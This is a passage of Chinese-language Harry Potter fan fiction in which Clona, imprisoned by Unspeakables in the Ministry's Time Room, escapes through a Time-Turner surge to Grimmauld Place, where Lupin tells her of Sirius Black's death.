“没有时间继续浪费了。”莱斯特兰奇带着两名缄默人快步走进来。“我们得清理掉她。”
清理掉是什么意思?他们要杀了她?
莱斯特兰奇在笼子前驻足,他抬起头,目光从笼顶扫视至笼底,观察一个棘手的难题般,将双手放在腰上。莱斯特兰奇今天又戴了帽子,帽子的阴影遮挡了一部分时间厅中的光线,给他的双眼蒙上了一层阴霾。
“几点了?”
那个经常戴着怀表的缄默人掏出怀表,低头看了一眼时间。
“十一点四十五,司长。”
“十五分钟。”莱斯特兰奇说,他向手下们命令道:“准备魔杖。”
三名缄默人都抽出魔杖,对准克洛娜。克洛娜向笼子的边缘靠近了一点。死亡真的要来临了?她麻木地注视着三支魔杖的杖尖,甚至有些期盼死亡会带来的黑暗,魔杖尖在时间厅的刺眼光芒中散发着银色的魔法,死亡似乎没有那么可怕。
莱斯特兰奇从口袋中拿出几条纤细的链子。
链子是金子做的,末端挂着一个挂坠形状的沙漏。沙漏小巧精致,里面的白沙盘旋着,散发着一种特殊的、朦胧的光芒,与克洛娜笼底的沙子别无二致。
克洛娜记得这种东西是时间转换器。
大部分时间转换器在她跟着哈利夜闯魔法部的时候已经被毁了,还剩下为数不多的那些,时间厅重建后也不知所踪。现在看来,应该是都被莱斯特兰奇收起来了。
莱斯特兰奇张开五指,将时间转换器往空中一抛。那些沙漏挂坠并没有摔在地上破碎,而是漂浮起来,如同落入水中的几片落叶。
它们穿过了笼子的金色魔法屏障,移动到克洛娜面前。
克洛娜抬了抬眼睑,时间转换器反射的光芒如同星辰,她抱着膝盖,蜷缩在地面上,下一秒,莱斯特兰奇的魔杖杖尖稍微一动了一点,最后的几个时间转换器应声而碎。
碎片绕着克洛娜飞快地盘旋起来,几片金属刺中了她的皮肤,划破她的脸颊,周围的所有白沙都跟着旋转,仿佛被一阵旋风带动。白光越来越明亮,就像夜闯魔法部的那天一样,在笼子里形成了龙卷风般旋转的气流。克洛娜处于风眼中,风声几乎变成一阵来势汹汹的沙尘暴。克洛娜不得不伏低身体,她的长发被卷入风中,疯狂地飞舞着,变得更加蓬乱,发梢不停遮挡她的眼睛,身上那层魔法变出来的白布也被狂风拉扯着,发出了撕裂的声音。
克洛娜惊慌失措地攥紧了布角,她原本的袍子早就在实验中被燃烧掉了,这是她唯一用来遮蔽身体的事物。
飓风中开始出现不同的影子。
就像那些撞毁时间转换器的食死徒一样,她过去的影子也在时间之沙中映了出来,以无法辨析的频率抖动、变化、凝聚成各种形状。
克洛娜在这些幻影中看到一个稚嫩的小女孩身影一闪而过。她在即将破晓的街头疯狂奔跑着,脸上满是泪水,正在拼尽全力用魔法感应自己母亲的位置。
克洛娜看向另一个方向。
还是那个小女孩,拖拽着一个几乎赶上她身高的行李箱来到姨妈家中,姨妈给她安置在表姐的房间。
还有……
这些都是她的过去……
五岁的克洛娜在母亲兼职的书店阅读一本旧书,上面说狗是人类最好的朋友。
六岁的克洛娜在家里等待母亲回家,她饿得前胸贴后背,最后把卧室的小板凳搬去厨房,攀高一点,这样就能够到炉子,只为了给自己煎鸡蛋吃。
十一岁的克洛娜从猫头鹰手中接过霍格沃茨的录取通知书,猫头鹰友好地啄了一下她的指尖。但她看完信之后就把信和信纸都丢到床边的杂物堆里,因为她觉得这可能是学校里的人给他们不欢迎的同学寄的恶作剧信。
十二岁的克洛娜偷偷溜进禁林,喂一条熊一样巨大的狗,那些食物是她偷偷从学校礼堂餐桌上带出来的……
克洛娜听到莱斯特兰奇的声音从笼子屏障的外面传来。
“他在哪。”莱斯特兰奇开始是喃喃自语,而后提高声音质问:“他在哪——!”
莱斯特兰奇的声音被呼啸的狂风覆盖。
谁,伤风?
小天狼星·布莱克?
回忆中的大狗跳过灌木,一闪身消失在沙子里。但莱斯特兰奇就
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像没看到一样,他紧紧盯着那些时间之沙形成的幻影,视线锋利地像是两把烧热的刀子,拼命想从幻影中剜出点什么来。
“司长,那个是不是——!”
莱斯特兰奇身边的缄默人忽然大叫起来,指着时间之沙的飓风中最模糊的一个幻影。
那是一个男人的背影,肩膀宽阔,身穿一件长袍,兜帽的帽檐拉得很低。他的手中拿着一个细长的链子,另一只手握着一根长杖模样的物体。
莱斯特兰奇的目光忽然变得凶狠而阴沉。
这是谁?
克洛娜看不到男人的脸。
戴兜帽的男人似乎在奔跑,所以影子十分颠簸。时间之沙从周围散落,一点点崩解,就连动作也格外模糊不清,只能在隐约中分辨出,男人做了一个动作——他举起了手。
“他要做什么!”缄默人喊道。
莱斯特兰奇呵斥他:“闭嘴。”
谁都没来得及看清发生了什么事情。顷刻间,戴兜帽的人忽然变成了散沙,融入了飓风中。
风声狂啸着。
克洛娜盯着背影消失的地方。
那是谁?
他做了什么?
这两个脑海中的问题刚刚出现,就被一阵绿光打断了。
克洛娜震惊地抬起头,她看到莱斯特兰奇正举着魔杖,对她打出了一个死咒。
“杀了她!”莱斯特兰奇怒吼道,“给我杀了她,动手!”
怎么——
克洛娜摸了摸胸口,刚才那道绿光已经飞向了她,但她什么都没有感觉到。
阿瓦达索命咒正中她的胸口,她却没有死?
缄默人的魔杖同时开始发射魔咒,好几道死咒和昏迷咒同时向克洛娜打来。克洛娜下意识地举起手阻挡,尽管并没有任何用。
这次她看清了。
魔咒的光束从她手掌和身体穿过,击向身后的地面,而她的掌心在光束下变成沙子,被飓风卷走,胸口只留下了几个洞穿的缺口,双脚又开始变得透明,胡乱飞扬的发梢已经完全飓风融合在了一起。
与上一次完全相同。
时间之沙将眼前的一切淹没。
声音消失了,时间厅中的笼子也消失了,克洛娜像是被掩埋在了沙子中,世界中的一切都被白色吞噬,而她的身体也融入其中,和飓风一起旋转起来。
几秒之后,时间之沙猛地落下,如同一阵金色的光芒般倏然点亮,又瞬间熄灭。
克洛娜听到一阵木头破碎的声音,接着是什么重物坠地的声音。
她抬头看去。
她还在时间厅中,但此刻,这个房间里一片混乱,各处是东倒西歪的钟表,地面一片狼藉,桌子和时钟的残骸堆作一团,似乎经历过一番恶战。
没有鸟笼,没有魔法屏障,也没有莱斯特兰奇和缄默人。
钟表的表针刚好走到午夜。时间转换器的架子被毁了,所有的小沙漏都从架子上倾泻下来,接着又飞回架子上,不停重复着这个过程。
几个穿着黑袍的人在废墟中蠕动着。
一声巨响。
时间厅远处的门被炸开。
克洛娜下意识地瑟缩了一下,时间厅的门打开通常都没有什么好事,这几个月中,只要缄默人来到这个房间,克洛娜就会被施咒。
她奋力调整着视线的焦点,匆忙从地上爬起来,她跌了一下,长时间的不进食让她的虚弱无比,甚至无法支撑身体的重量。她死死按着身边残破的桌子木片,想把两条腿撑起来,另一只手用力攥紧被时间之沙卷走一大半,现在满是漏洞的白布。
她得逃跑。
跑……
不然缄默人会再次把她关进笼子里。
逃跑——逃……
克洛娜的肩膀被一双手猛地握住了。
这双手的力气大得惊人,像是鹰爪般扣紧她的胳膊,让她无处可逃。
克洛娜惊恐地回过头。她的声音因为长时间不说话以及刻骨的恐惧而嘶哑无比。
她念出一个在她意识中扎根最深的咒语。
“除你……除你武——”
“克洛娜!”一个十分陌生的声音厉声说,“看着我!”
不是神秘事务司的缄默人和莱斯特兰奇。
这个声音她似乎在很久以前听过一次。
15. 第 15 章
小天狼星·布莱克低头注视着克洛娜。
他攥着克洛娜的胳膊,摇晃了一下,克洛娜浑身的骨头差点被他摇散架了。
布莱克和克洛娜最后一次见到他的时候一模一样,甚至穿的衣服都没有变化。他的黑发略有些长,因为奔跑而散乱,有一绺垂坠在额前,一双灰色的眼睛里闪烁着可怖的目光。
克洛娜的脑海里立即浮现出他坠落帷幔前的模样。
她揪住布莱克的衣领,焦急得口干舌燥。
“你……”克洛娜的嗓子像是被利刃划过一样疼,她大声说:“你是布莱克?”
这个名字从克洛娜口中说出的时候,布莱克眼中凶恶的锋芒消失了。他似乎忽然清醒过来,放开了手,克洛娜双脚落地,脑袋一阵阵地眩晕,几乎失去平衡。
“对,”布莱克说,再度开口时,他的声音冷静,低沉而平稳,“对,我是。”
发生了什么。
长时间没有食物供应饥饿造成的虚弱让她眼前发黑,她的脚腕发软,身体摇摇欲坠。
布莱克不是死了吗?
她亲眼看着布莱克掉进了死亡帷幔,只要触碰到那个帷幔的人都会死,布莱克用什么方法活下来了?难道他没有死?难道死亡帷幔只是个骗人的玩意?
克洛娜的思维如同一个失控的陀螺一样不受控制地旋转。
时间厅里的缄默人都去哪了?这里的钟表、桌子和时间转换器都是怎么出现的……
克洛娜向后倒退了一步。
另一只手托住她的肘部,防止她跌倒,克洛娜抬头看去,是卢平教授。
“克洛娜,”卢平教授说,他的声音比布莱克温和很多,“你为什么会在这里?”
“我被……抓了……”
“你被抓了,孩子?那些食死徒抓了你?”
一个沙哑的声音粗声粗气地说,他一瘸一拐地飞速走过来,一只魔眼到处乱转,似乎是在寻找食死徒的踪迹。
穆迪教授?
他们身后的另一个皮肤黝黑的巫师向前踏了一步,克洛娜这才看清他。这个人她曾经见过,他也参与了那场魔法部的大战,就在几个月前,他和邓布利多以及其他凤凰社的人一起赶到现场,迎战食死徒。
这么说,魔法部里稍微有点良心的那一群人终于发现神秘事务司的非法囚禁了——
“你有没有看见哈利·波特?”那名黑皮肤巫师问。
“波特在哪?”穆迪粗暴地说。
一头紫罗兰色短发的女巫也冲向前。她焦急地问:“是啊——哈利!我们收到了紧急通知!”
砰——
她不小心撞翻了时间厅中桌子的废墟,又是一阵稀里哗啦的倒塌声,木片滚落到克洛娜光着的双脚附近。
“你看到波特了吗?”穆迪催促道。
克洛娜哑声重复了一遍这个名字。
“什……什么哈利……”
什么紧急通知,什么哈利·波特?克洛娜上一次见到哈利已经是很久之前的事情了,之后她就被困在时间厅里,被非法羁押并且做各种咒语实验,他们问哈利·波特是什么意思,为什么她会见过哈利?
“不……”克洛娜茫然地说,“我没……”
“她不知道。”布莱克说。
他把三名傲罗拦在身后。
“那他们到底去哪了!”紫罗兰色头发的女巫说,“天哪,这里真的像迷宫一样,我们肯定又进错房间了,金斯莱,这条路真的是对的吗?”
“该死的,法弗纳尔!”穆迪骂道。“障眼法!”
“他一直对这里把控得很严格,我们去下一个房间继续找。”金斯莱说。
就在这时,时间厅的对侧紧闭的门后忽然出现高声喊咒语的声音。
“钻心剜骨!”
接着响起了一个男孩的惨叫声。
布莱克和卢平教授飞快地对视一眼。
“那边!”穆迪吼道,他率先冲了出去。
金斯莱抽出魔杖,他喊道:“唐克斯,跟上!”
“哈利在那边对吗?”
紫罗兰色头发的女巫,唐克斯,也立即抓紧魔杖,跟在穆迪和金斯莱身后飞奔过去。
“还有食死徒。”穆迪说。
“你能先在这个房间里待着吗,克洛娜?”卢平教授飞快地说道,他看着克洛娜。
克洛娜除了点头不知道该做什么。
“拿着这个。”布莱克说,他脱下了身上昂贵的西装外套,迅速往克洛娜的肩头一披,“我需要你保持安全,等我们回来,会很快——”
他又快速握了握克洛娜的肩膀,这次的力道没有那么凶猛了,更像是一种安慰。
布莱克的外套十分厚重,里侧的缎面还带着温暖的体温。他身形高大,这件黑色外套穿在克洛娜身上几乎像个斗篷。克洛娜这才发现自己一直在浑身发抖,她抓住外套的衣襟。
布莱克和卢平教授也手握魔杖,两人跟在金斯莱和唐克斯的身后,一起跑向那个门。
“阿拉霍洞开!”金斯莱喊道。
门霍然打开,好几道咒语贴着他们的肩膀飞了过去,穆迪用了一个防护咒挡住了。
五个人闯进死刑厅。
咒语的闪光不停照亮大门,疯狂的尖叫声、震耳欲聋的爆炸声此起彼伏,和重物被击落的巨响交错在一起,纷飞的魔法中夹杂着恐怖的绿色,仿佛死神的镰刀从空气中锋利地斩过。
克洛娜呆立在原地,她感觉自己应该做点什么,但是她的脑子告诉她应该快点逃离这里,越远越好。
她的脚向前走了两步,力量像是被抽干了一样。
她又转身后退。
没有穿鞋的脚后跟踩住了刚才被唐克斯撞到的木头碎片。
离开这里。
她此刻就只剩下了一个想法。
离开时间厅,离开这一切——
一阵火焰般的红光骤然一闪。
接着,几个溃散奔逃的食死徒冲进时间厅的大门。
克洛娜的脚步踉跄着,但她根本没有他们跑得快。每个食死徒都穿着黑袍,戴着面具,克洛娜挣扎着迈开双腿,恐惧在她的血管里奔流着,她没有魔杖,怎么和食死徒决斗——
但这些食死徒就像没看见克洛娜一样,他们从时间厅匆匆穿过,逃走了。
下一刻。
克洛娜听到一声悲痛欲绝的大吼。
“小天狼星!”
什么,小天狼星。
小天狼星又怎么了。
别他妈的管什么小天狼星了。
克洛娜加快脚步。她对自己软弱无力的腿感到愤怒,跑快一点——再快一点,她得跟着食死徒找到出口。他们已经无暇顾及身后是不是还有个学生了,几个人出门后转了个弯,立即消失在黑暗的走廊尽头。
克洛娜头也不回地跑出了时间厅。
她的心跳如同雷鸣般隆隆作响,肺部火辣辣地疼着,上气不接下气。双腿在失去作用几个月之后,此刻总算找回了一点跑步的节奏,她像是刚学会走路的孩童一样摇摇晃晃地闯出神秘事务司的大厅。
克洛娜拢紧身上的那件外套,沿着食死徒逃跑的路径,在神秘事务司走廊末端转弯。
黑漆漆的楼梯展现在她的面前。
这时她听到后方传来声音。
电梯的栅栏被拉开,金属碰撞发出暴风雨般的哗啦声,十分刺耳。克洛娜感到毛骨悚然,冰冷从她的脚底一路传到心脏,她几乎不能呼吸。
还好——她刚才没有选择去乘电梯。
“封锁整个神秘事务司!”莱斯特兰奇的声音说,“任何人不得出入。把那个巴沙特找出来!”
“那边!”缄默人叫了起来,“楼梯口!”
“昏昏倒地!”
“阿瓦达索命!”
两道咒语从克洛娜耳边飞过。
克洛娜死
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死抓住楼梯把手,不知道从哪里生出了一股蛮力,她奋力站起来,顺着楼梯狂奔而上。
楼梯上方就是八层正厅。
克洛娜飞奔进去,而整个大厅已经陷入彻头彻尾的混乱。
正中央的喷泉崩塌了,克洛娜看到哈利的身影躺在一片碎石中,邓布利多正俯身查看他的状况,许多巫师从壁炉中出现,绿色的火焰呼呼亮起,他们面色震惊,眼中满是恐惧。
而楼梯口下方的两名缄默人也跑上来,距离克洛娜越来越近。
大厅内惊恐的叫声和议论声异常喧闹,克洛娜几个月都没听过这么大的噪音了,所有的声音像是一场恐怖的海啸般涌向她,视野中的大厅模糊不清,克洛娜慌不择路地向着一个方向奔跑。
壁炉——
那些壁炉,它们一定是飞路粉,能带她去任何地方。
克洛娜冲向壁炉。
“真的是吗——”
“这怎么可能!”
“哦不……”
“刚刚你看到了吗!”
“你呢——”
另一道咒语向克洛娜飞来,正对她的后背。
人群中传来一阵惊呼。
克洛娜回头看到莱斯特兰奇举着魔杖,他的魔杖杖尖还亮着火山岩浆般的红光,那双死灰般的绿眼睛紧盯着克洛娜,燃烧着无人阻挡的杀意。
但是他的咒语没有击中克洛娜。
克洛娜剧烈喘气。
她的前方,邓布利多的魔杖也对准了她。防护咒的亮光被莱斯特兰奇的魔法撕成碎片,正丝丝缕缕地落向地面。
“法弗纳尔。”邓布利多说。
“这是神秘事务司的事,邓布利多。”法弗纳尔·莱斯特兰奇说,“别插手。”
克洛娜再次跑了起来,飞路粉是怎么用的,《魔法史》中伊格内塔·威史密斯发明了这种粉末,哈利也在乌姆里奇的办公室用过。飞路粉会带她去飞路网能到达的目的地——霍格沃茨?不,她不能回霍格沃茨,乌姆里奇要是还在那里怎么办,莱斯特兰奇要是找到她了怎么办?
“无论是什么理由。”邓布利多毫不退让,“在此之前,你们应该知道,伏地魔已经回来了。”
法弗纳尔·莱斯特兰奇的魔杖仍然举在半空中,杖尖追踪着克洛娜的脚步,但邓布利多也没有放下魔杖。
克洛娜这时已经扑向了壁炉。
她差点撞上一个刚从壁炉火焰中出现的女巫。
女巫发出了一声惊叫,克洛娜伸手去抓那个装着粉末的小碗,双手颤抖,肩膀猛地撞上壁炉后方的砖石,整碗飞路粉都倾倒在壁炉内。
她不能回姨妈家,她不能这样出现在姨妈家里,脏兮兮的,被人追杀,她的姨妈会死的——
一个头发发白的小个子男人从远处的人群中挤出来,步履匆匆地往法弗纳尔·莱斯特兰奇的方向小跑。
“梅林在上!”现任魔法部长福吉满头大汗,“法弗纳尔……所以真的是‘他’,是吗?等等,波特,波特他怎么在这里,他还好吗——”
邓布利多说:“康奈利——”
福吉的领带没有系好,歪歪扭扭地绑在衬衫的衣领外面,身上的袍子看起来是匆忙中穿上的,右手的袖子甚至还翻着。
克洛娜的脑子里突然闪现出一个地址。
一个别人都不知道的地址。
“格里莫广场12号。”
她默声念道。
克洛娜在壁炉中看到哈利悠悠转醒,正在费力地从地上爬起来,魔法部正厅的人群仍然混乱嘈杂。
“我看到他了!福吉先生,就在这里!”
“那个名字也不能提的人。”
“是他……”
“在魔法部里——!”
“一级警戒!傲罗办公室的人呢?金斯莱去哪了!”
“他回来了,真的回来了……”
绿色的火焰呼的一声包围了克洛娜。
16. 第 16 章
她从壁炉里跌出来,被壁炉的灰烬呛到连连咳嗽,几乎是翻滚着倒在木质地板上。身上的衣服和破损的布单都拧成一团,乱七八糟地缠着柴火的木头碎片。
她手脚并用地从地上爬起来,环顾自己所在的地方。
她不确定自己是否来对了房子。这是克洛娜第一次使用飞路粉,她有可能出现在任何壁炉里。
克洛娜回头看向自己的身后。
壁炉前甚至没有标牌告诉她这里到底是不是格里莫广场12号。
整个房间如同古堡的地下室,大概是餐厅或者是厨房之类的地方。墙壁上的壁纸到处都是泛黄和霉印,房间里摆放着一张长桌以及很多把椅子,老旧的枝形壁灯上挂满了灰尘,似乎来自于好几个世纪之前,而且相当长一段时间都没有被点亮了。提供光源的是稍现代化一点的气灯,镶嵌在古老的墙壁上,形成昏黄的光球,驱散阴森的黑暗,让这个餐厅看上去有人类使用过的痕迹。
空气中有一种潮湿而刺鼻的霉味,餐厅的另一端连通着厨房。
克洛娜跑了过去。
她发现灶台上放着几个盘子,上面还有两片没有味道的面包,半杯咖啡和几块冷掉的土豆。
感恩上帝……
她把这些东西全部塞进嘴里,甚至能从什么调料都没加的土豆里尝到咸味和甜味。
食物让她麻木的味蕾感到极大的慰藉,胃部泛起一种冰冷而沉甸甸的感觉,如同在雪夜后冻僵的发动机一样运作起来。
接下来,克洛娜洗掠了整个厨房,把能吃的东西都吃掉了。
餐桌上的苹果像是圣诞佳肴一样美味,似乎还是清洗过的,一个方形玻璃器皿里还放着黄油,边缘已经被切下了好几块。
克洛娜把剩下的黄油都放进嘴里,希望香气扑鼻的黄油和之前那两片面包能在她的胃里相会。
她需要喝点水。
厨房里的水龙头都雕刻着夸张的蛇形雕塑,像是误闯了斯莱特林级长浴室。
克洛娜拧开蛇形水龙头,趴在水池前喝水。
格里莫广场12号看起来并不健康,灶台旁边的铜锅上面满是灰尘,桌子上堆满了大量图纸,看起来是某个庄园的建筑构造图,还有一大堆手写草稿纸以及《预言家日报》叠放在旁边。刀叉和勺子都被随意的放置在一个盘子上,像是柴火一样拢在一起。看得出这栋房子的主人并不是个喜欢整齐的人,而且也根本不想打扫卫生,但克洛娜喝进口中的水却没有什么糟糕的味道。实际上,就算这些水是从黑湖里直接舀出来的,她也会觉得十分甘甜。
最后,克洛娜拿起了灶台上明显是银质的糖罐,从餐具盒里抽出一把勺子,挖罐子里的白砂糖吃。
餐厅忽然传来一阵拖沓的脚步声。
“又是卑鄙的泥巴种,女主人看到该怎么想,可恶又龌龊的老败类们,偷窃女主人的画像,克利切赶不走他们,他们走了之后又会回来,像是寄生虫一样破坏尊敬的女主人的房子——”
喃喃自语夹杂着恶毒的诅咒,声音像是被锯坏的木头。
克洛娜循声看去。
一个家养小精灵正佝偻着腰,拾起刚才克洛娜从壁炉里带出的木柴碎片,重新扔回壁炉中。
或许是注意到克洛娜的目光,家养小精灵向她投来了憎恶的一瞥。
“那个泥巴种妄图夺走女主人的房子,她竟然还用肮脏的手偷窃餐具,到处都是强盗和小偷,他们把什么人都带进了这栋房子里,克利切不知道,可怜的克利切只能留在这里……”
克洛娜低头看了一眼自己的双手。
她的手确实脏得可怕,除了从壁炉里带出来的炉灰,还有不少时间厅桌椅废墟的尘土。
于是她再次拧干蛇形水龙头,洗了一下自己的手。
家养小精灵继续说:“泥巴种肮脏的手玷污了女主人的水龙头……”
这个家养小精灵到底有什么毛病。
他看起来就像是一只畸形且快要腐烂的年迈斯芬克斯猫,和房子陈旧而黑暗的模样非常相符。
格里莫广场12号是邓布利多的凤凰社总部,有个家养小精灵也不奇怪,但这个家养小精灵不像霍格沃茨厨房里的家养小精灵那样热情好客,他更像是在毒药的坩埚里浸泡生长的,两条细细的手臂上全是大大小小的伤口,鲜血淋漓,一双灰蒙蒙的眼睛里满是仇恨,口中不停吐出恶毒的咒骂。
家养小精灵收拾完壁炉,就啪的一声离开了。
克洛娜倒在一把破旧的椅子上。
她感觉糖分和黄油正在她的灵魂里流淌,让她的生命重新回到躯壳中,胃部开始隐隐作痛,但克洛娜并不想在意,被困在神秘事务司的这段时间,她没有昼夜,不吃不睡,能量消耗殆尽。这些是她几个月以来吃下的第一口东西。
魔法不会让人长生不老,但是肯定会让人备受折磨。
克洛娜蜷起双腿,将整个身体都藏进肩头披着的外套中,她已经太习惯这个姿势了,久违的困意席卷了上来,带着令人感动的昏沉,房子里除了一个会骂人的家养小精灵之外安静无声,黑暗令人安心,没有莱斯特兰奇和缄默人,也没有无孔不入的时间厅亮光。
克洛娜不知不觉中睡着了。
……
好像只过了几秒,她就被开门的声响吵醒。
克洛娜蓦地睁开眼睛,神经紧绷起来。
她感到胃里一阵翻江倒海,眩晕和食物积存的不适让她想吐,她有点后悔吃了那么多东西。应该把最后一罐糖藏起来慢慢吃的。
克洛娜拖拽着沉重的身体从椅子上站起来,背靠最近的墙边。
从脚步声判断,来者只有一个人。那人走路的方式小心翼翼,似乎十分警戒。克洛娜的呼吸变轻了一些,她的手中只握着一把银勺子,如果这就是她唯一的战斗武器,她会用勺子把魔法部的人的眼睛挖出来。
克洛娜张开五指,准备对来者用一个缴械咒。
脚步声逐渐靠近,在餐厅入口处转弯,露出了半个肩头。
“除你武器!”克洛娜大叫道。
“盔甲护身——统统石化。”
她的咒语被轻松弹开,接着身体也立刻僵住,一动也不能动。就在她失去平衡向后倒的一瞬间,闯进来的巫师挥了挥魔杖。
“咒立停。”
石化咒解开了,克洛娜稳住身体。
那名巫师风尘仆仆,穿着打补丁的袍子,褐色的头发里掺杂着许多灰白色,脸色苍白,皮肤上遍布着细小的疤痕。
“卢平教授?”克洛娜问道。
她的嗓音还是十分沙哑,但是已经比之前好很多了。
“克洛娜,”卢平教授说,他叹了一口气,声音听起来非常低落又疲倦,“对不起,我以为总部这么快就已经被入侵了。这里不安全了,我们得尽快撤离。”
“什么——”
“贝拉特里克斯可能继承了这栋房子
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。”
“贝拉特里克斯,那个食死徒?”
“是的,所以我们必须转移。”
卢平教授走进餐厅,开始收拾餐桌,他把图纸卷起来塞进斗篷,又用咒语放了一把火,将写满字的草稿纸都燃烧掉。
克洛娜揪紧身上的外套,看着卢平教授忙忙碌碌。
卢平教授忙完了之后转过头,好像忽然注意到克洛娜还光着脚,身上没有一件像样的衣服,正无措地站在餐厅门口,一言不发。
“莫莉的房间里应该还留下了几件衣服,虽然不合身,剩下的我们可以撤离之后再买。”卢平教授说,“跟我来,克洛娜。”
“好……好的。”
虽然克洛娜不知道莫莉是谁,但是她非常感谢莫莉的衣服。
莫莉的房间在格里莫广场的第四层。这个房间比起楼下的任何地方都像是人住的地方,灰尘被清扫得干干净净,发霉的墙纸被处理了,四柱床上没有被褥,但垫子是新换的,门口还放着一双冬季用的拖鞋。
看起来房间的主人在冬天就已经搬出去了。
克洛娜在衣柜里发现了一件叠放好的天蓝色长裙,干净的内衣,两件长袍,还有一双平底鞋。衣服上有一股樟脑的味道,衣柜里十分干燥,樟脑球都装在了纱织的小袋子里,和衣服放在一起。
不像卢平教授所说的,莫莉的衣服穿在克洛娜的身上非常合身,像是特地为她准备的。
克洛娜迅速换好衣服,把布莱克的那件昂贵的西装外套叠好,抱在双臂间,推门而出。
卢平教授在门外等着她。
“教授。”克洛娜说。
“换好衣服了?那我们离开这里吧。”
“这个衣服好像是你的朋友的,我要怎么还给他?”
克洛娜将双手中的衣服递了出去。
卢平教授顿住了,他的视线落在那件外套上,似乎想说什么,但却无法说出口。克洛娜看到他眼中浮现出复杂的、沉重而痛苦的目光,面色变得更加苍白。
“有一件事情,我得告诉你,克洛娜,”卢平教授说,“昨天晚上,小天狼星在魔法部不幸身亡了。”
克洛娜不明白他在说什么。
“但是他没有,我看到他了……”
布莱克在时间厅出现了,他跌入帷幔之后并没有死,不是吗?虽然不知道那个死亡帷幔的运作原理是什么,但被帷幔接触之后的结果也不是不可挽回的,至少布莱克活下来了。难道他又死了,所以在时间厅的时候,克洛娜才听到有人惨叫他的名字?
卢平教授似乎认为她的困惑是因为不知道应该怎么处理手中的这件外套。
“如果你想的话,你可以留着它,小天狼星会希望这样。”
是啊。克洛娜想。这个布莱克还是黑狗的时候,克洛娜喂了他一年,几个月前为了救布莱克,她落入魔法部的手中,一直被神秘事务司的人关在时间厅里。现在布莱克以一件价格昂贵的西装外套作为回报,他还算有点良心。
但她的心里还是出现了一丝钝痛。
伤风就这么死了。
当她看到布莱克出现在时间厅的时候,原本还升起了一丝希望——或许布莱克并没有被死亡帷幔吞噬,从那场战斗中活了下来。
但想不到,最终还是这样的结局。
哪怕布莱克在几个月前逃过一劫,也还是会死于食死徒之手。
可能这就是伤风的命运了吧。
17. 第 17 章
卢平教授扭开头,对着漆黑腐朽的楼梯间拭眼角,他看起来浑身都要散架了。最后一句话将他击溃,擦眼泪的手像是抽搐般颤抖。
克洛娜无法再问更多了。
看来凤凰社的成员之间都有着十分深厚的感情。
“我们走吧……”卢平教授调整好情绪,哽咽着说。
他们急匆匆地走出格里莫广场12号的大门,那栋阴森的房子在他们身后缩进真空中,如同古堡般杂草蔓生的院落倏地一下失踪,11号紧挨着13号,好似从始至终都是如此。
夏夜的微风带着青草的气息,克洛娜第一次产生了已经逃出时间厅的实感。
她身边有卢平教授。
卢平教授会保护她的安全,没有任何魔法部的人能伤到她。
路灯静谧地提供着光源,时间或许早已过了凌晨,小区里的麻瓜房子里一片黑暗,没有一户人家的窗户还亮着灯。
卢平教授在前方引路。
他们走出两个街区,转了好几个弯,确保后面没有人跟着他们之后,卢平教授回过头。
“有件事情我需要和你确认一下,克洛娜,”卢平教授说,“我注意到你刚才叫我教授?”
“……抱歉,我不是故意的,先生,我忘了您已经辞职了。”
卢平教授愣了愣。
他思考片刻,字斟句酌地说:“没关系……不过我之所以没有在格里莫广场问你这件事,是因为邓布利多怀疑克利切正在为纳西莎·马尔福效命——我们之前发现壁炉中有飞路网使用过的痕迹,西弗勒斯的守护神告诉我们,哈利正在试图联系我们,但克利切似乎一直不想让我们接近厨房。如果这些信息能有什么帮助的话……记住这件事,好吗?”
克洛娜茫然不解,但她还是点了点头。
“好的,先生。”
“叫我莱姆斯就好了。”卢平教授说,他脆弱地露出一个微笑,似乎想安慰他人,但却十分苍白。
“所以那时,哈利的教父确实在凤凰社总部,而不是被伏地魔抓走了。”
“神秘人——我们最好还是不要直呼这个名字,现在他已经回归了,追随者们大量越狱,反抗他的人才会直呼名字,我们不想在街上被认出来。”卢平说,“不过是的,神秘人设下了一个陷阱,利用了哈利对小天狼星的感情。”
“为什么神秘人的追随者想杀了我?”克洛娜问,“他们不是要抓哈利吗?”
“食死徒想杀了你?”卢平问。
克洛娜点了点头。
“你一定是遇到贝拉特里克斯了。”
“还有魔法部的莱斯特兰奇,他也是神秘人那一派的。”
“是法弗纳尔·莱斯特兰奇吗?”
“是的,”克洛娜说,“他想杀了我,而且在神秘事务司非法囚禁,非法刑讯——”
时间厅的回忆在克洛娜的脑海里灼烧着。
她感到一阵窒息,瞬间浑身冰冷,心跳的声音在胸膛里像是心脏病突发般砰砰作响,冷汗刺着她的颈后皮肤,莱斯特兰奇那双秃鹫似的眼睛似乎在黑暗中盯着她。
她深吸一口气,眼前有些发白。
没事的,教授在这里,她不会再被缄默人抓走的……
但是上一次他们也没能阻止她被莱斯特兰奇关起来不是吗……
“你还好吗,克洛娜?”卢平关切地问道。
克洛娜急促地小口呼吸着空气。
“我没事……”
“你看起来很糟糕,等我们收到邓布利多的通知,就可以回到学校让庞弗雷夫人给你检查一下了。”
“邓布利多已经回到霍格沃茨了?”
克洛娜燃起希望。
乌姆里奇大势已去,伏地魔的复活板上钉钉,邓布利多过不了多长时间就能拿回校长的职位,而后霍格沃茨就不会任由魔法部的人乱扣押学生了。
“你们能抓到他吗?”克洛娜问道,“那个莱斯特兰奇……”
卢平陷入思考。
“我们之前并没有收到任何消息称法弗纳尔·莱斯特兰奇也在食死徒的名单上,但他的堂侄罗道夫斯·莱斯特兰奇是贝拉特里克斯的丈夫。”
“所以他们是食死徒一家亲。”
“纯血统中有不少都是神秘人的拥护者。上一次巫师战争时也有人怀疑过法弗纳尔,但是他很快就证明了自己的清白,对他的指控也撤销了。不过……我会把法弗纳尔的事情上报给邓布利多,让他们小心行事。谢谢你,克洛娜。”
卢平的话音刚落,一个银色的影子忽然出现在他们的面前。
它高傲而美丽,羽翼扇动,长长的尾羽点燃空气,周身由纯净的银色组成,优雅至极,散发着宁静的温暖。
似乎是一只大型鸟类。
克洛娜一眼就认出了这是个守护神。哈利曾在有求必应屋的D.A.训练时给他们演示过。
哈利的守护神是一头雄鹿,步履矫健,体型庞大,头顶长了一对强壮巍峨的鹿角。
克洛娜还没来得及学会这个咒语,乌姆里奇就强制停止了他们的训练。
而后邓布利多离校,乌姆里奇上任,魔法部控制霍格沃茨,哈利夜闯魔法部,而克洛娜的魔杖被毁……
她再也没有机会练习守护神咒。
“这是守护神吗?”克洛娜问。
“是的,这就是凤凰社成员之间传递信息的方法,邓布利多开发了守护神咒的用法。”
那只鸟类守护神开口说话,邓布利多的声音静静响起。
“霍格沃茨已安全。”
